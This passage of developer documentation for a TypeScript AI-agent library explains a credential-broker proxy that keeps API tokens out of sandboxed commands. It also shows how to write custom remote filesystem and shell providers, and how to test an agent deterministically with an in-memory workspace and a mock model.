  rules: { 'api.github.com': { authorization: () => `Bearer ${token}` } },
  allow: ['registry.npmjs.org'], // reachable without injected headers
});
const workspace = new NodeWorkspace({ root: './project', env: { ...broker.env } });
await workspace.exec(`curl -s ${broker.baseUrl('api.github.com')}/user`);
await broker.close();
```

* **What it returns.** `url` (the proxy, on an ephemeral `127.0.0.1` port by
  default), `env` (`HTTP_PROXY`, `HTTPS_PROXY`, `NO_PROXY` and lower-case
  forms, for the `env` option of `NodeWorkspace` or `SandboxShell`),
  `baseUrl(host)` and `close()`, which stops the listener and destroys open
  sockets. A header value is a string or a function called per request.
* **Allowlist.** Rule hosts (exact names or `*.suffix`, which matches
  subdomains only — `*.example.com` does not match `example.com`) are allowed
  implicitly; `allow` adds hosts reached without injected headers. Any other
  host gets a 403 before a connection is opened. Hosts that resolve to
  loopback, link-local (such as the cloud metadata address `169.254.169.254`)
  or private addresses are refused unless listed in `allowPrivate`, so a
  command cannot use the proxy to reach services on your machine or network.
* **Secrets stay on the host.** Injected values never appear in `env`, in the
  proxy's error responses or in any log. A request to a brokered host that
  already carries an `Authorization` header has it removed and replaced.
  Hop-by-hop headers (`Connection`, `Proxy-Authorization`, ...) are not
  forwarded.
* **HTTPS limitation.** Header injection works on plain-HTTP requests and on
  the path form: the broker serves `http://127.0.0.1:<port>/__broker/<host>/<path>`
  and forwards it to `https://<host>/<path>` with the headers added, which is
  what `baseUrl(host)` returns. Point a tool at that base URL (for example an
  SDK's `baseURL` option or a `curl` URL) to get auth without holding the
  token. A client that uses `HTTPS_PROXY` for an `https://` URL opens a
  `CONNECT` tunnel instead: the broker checks the allowlist on the tunnel
  target and passes the encrypted bytes through untouched, so no header is
  added. The broker does not intercept TLS.
* **It is not a firewall on the host.** A command run by `NodeWorkspace` can
  ignore the proxy variables and open its own connections; the allowlist
  only covers traffic sent through the broker. What the broker guarantees is
  that the token is never in the command's reach.
* **Containers.** Do not pass `broker.env` to a `SubprocessSandbox`: it
  points at the host's loopback. Pass the broker itself instead,
  `new SubprocessSandbox({ network: { allow }, broker })`, and the sandbox
  routes its containers through it (see
  [Allowlisted egress](#allowlisted-egress-network--allow--with-a-broker)).
  It does that with `broker.listen({ host, clients, allow })`, which adds a
  listener on another address that serves only peers from the `clients`
  subnet, with the rule hosts plus `allow` as its allowlist. The broker
  listens on loopback only unless you call it.

## Writing your own provider

Both interfaces are small. Paths are workspace-relative and use `/`.
`normalizeWorkspacePath()` applies the same checks the built-in providers
use. A provider exposed to a model must confine paths itself, because a
custom tool could call it directly. Throw `WorkspaceError` with a readable
message on failure.

```ts theme={null}
import { normalizeWorkspacePath, WorkspaceError, type FsProvider, type ShellProvider } from '@lousho/build-ai-agent';

// A stand-in for your remote sandbox SDK (E2B, Daytona, Cloudflare, ...).
declare const remote: {
  read(path: string): Promise<string | null>;
  write(path: string, data: string): Promise<void>;
  list(path: string): Promise<{ name: string; dir: boolean }[]>;
  run(cmd: string, opts: { cwd: string; timeoutMs?: number }): Promise<{ out: string; err: string; code: number }>;
};
const base = '/home/user/project';
const abs = (path: string) => `${base}/${normalizeWorkspacePath(path, 'posix')}`;

export const remoteFs: FsProvider = {
  async readFile(path) {
    const data = await remote.read(abs(path));
    if (data === null) throw new WorkspaceError(`File not found: ${path}`);
    return data;
  },
  writeFile: (path, content) => remote.write(abs(path), content),
  async stat(path) {
    const data = await remote.read(abs(path));
    return data === null ? undefined : { type: 'file', size: data.length };
  },
  async readdir(path) {
    return (await remote.list(abs(path))).map((e) => ({ name: e.name, type: e.dir ? 'directory' : 'file' }));
  },
  async mkdir(path) { await remote.run(`mkdir -p '${abs(path)}'`, { cwd: base }); },
  async rm(path, options) { await remote.run(`rm ${options?.recursive ? '-r ' : ''}'${abs(path)}'`, { cwd: base }); },
};

export const remoteShell: ShellProvider = {
  async exec(command, options = {}) {
    const r = await remote.run(command, { cwd: abs(options.cwd ?? '.'), timeoutMs: options.timeoutMs });
    return { stdout: r.out, stderr: r.err, exitCode: r.code, timedOut: false };
  },
};
```

Two optional methods, `getMode(path)` and `chmod(path, mode)`, let
`WorkspaceCheckpoints` restore a file's permission bits along with its
content; without them a rewind restores the content only. A third,
`readFileBytes(path)`, returns a file's raw bytes: with it `edit_file`
refuses a file that is not valid UTF-8 (or has a UTF-16 BOM) instead of
writing U+FFFD over every byte it could not decode.

`ShellProvider.exec` should resolve, not reject, for a non-zero exit code,
a timeout (`timedOut: true`) or an abort (`aborted: true`). It should reject
only when the command could not be started.

## Testing with `MemoryWorkspace`

`MemoryWorkspace` keeps the file tree in memory and checks paths the same
way. Its `exec` is a stub you program, and every command it receives is
recorded. Combine it with `mockModel` for deterministic tests:

```ts theme={null}
import { createAgent, createFsTools, createShellTool, MemoryWorkspace } from '@lousho/build-ai-agent';
import { mockModel } from '@lousho/build-ai-agent/testing';

const workspace = new MemoryWorkspace({
  files: { 'src/math.ts': 'export const add = (a: number, b: number) => a - b;\n' },
  exec: (command) => (command === 'npm test' ? { stdout: '1 passed\n' } : { exitCode: 1, stderr: 'unknown command\n' }),
});
const provider = mockModel([
  { toolCalls: [{ name: 'edit_file', args: { path: 'src/math.ts', old_string: 'a - b', new_string: 'a + b' } }] },
  { toolCalls: [{ name: 'shell', args: { command: 'npm test' } }] },
  'Fixed add() and the tests pass.',
]);
const agent = createAgent({
  instructions: 'Fix bugs.',
  provider,
  tools: [...createFsTools(workspace), createShellTool(workspace, { needsApproval: false })],
});
await agent.send('add() is broken');
console.log(workspace.snapshot()['src/math.ts']); // '... a + b;\n'
console.log(workspace.commands.map((c) => c.command)); // ['npm test']
```